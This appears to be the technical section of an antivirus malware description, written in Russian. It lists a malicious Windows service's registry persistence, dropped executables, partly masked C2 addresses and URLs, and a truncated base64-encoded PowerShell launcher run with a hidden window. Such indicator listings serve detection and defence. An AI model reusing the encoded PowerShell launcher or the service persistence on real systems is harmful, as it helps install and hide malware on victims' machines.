Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\iologmsg] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\iologmsg] 'ImagePath' = '"%WINDIR%\SysWOW64\rtm\iologmsg.exe"'
- 'iologmsg' "%WINDIR%\SysWOW64\rtm\iologmsg.exe"
- 'iologmsg' %WINDIR%\SysWOW64\rtm\iologmsg.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADEAegA1AHQAcgB6AD0AKAAnAFUAdgAnACsAKAAnAGEAJwArACcAYgBmACcAKQArACcAMABmACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBwAFIATwBmAGkAbABlAFwASgB0AG...
- %HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe
- %WINDIR%\syswow64\rtm\iologmsg.exe
- %HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe в %WINDIR%\syswow64\rtm\iologmsg.exe
- '50.##1.220.50':80
- http://www.lu###ygt.com/wordpress/a73/
- http://50.##1.220.50/l46UExOj29xaRi/
- DNS ASK lu###ygt.com
- '%HOMEPATH%\jteijy5\xkj1bu6\lnca8jpi.exe'
- '%WINDIR%\syswow64\rtm\iologmsg.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABIADEAegA1AHQAcgB6AD0AKAAnAFUAdgAnACsAKAAnAGEAJwArACcAYgBmACcAKQArACcAMABmACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgBWADoAVQBzAGUAUgBwAFIATwBmAGkAbABlAFwASgB0AG...' (со скрытым окном)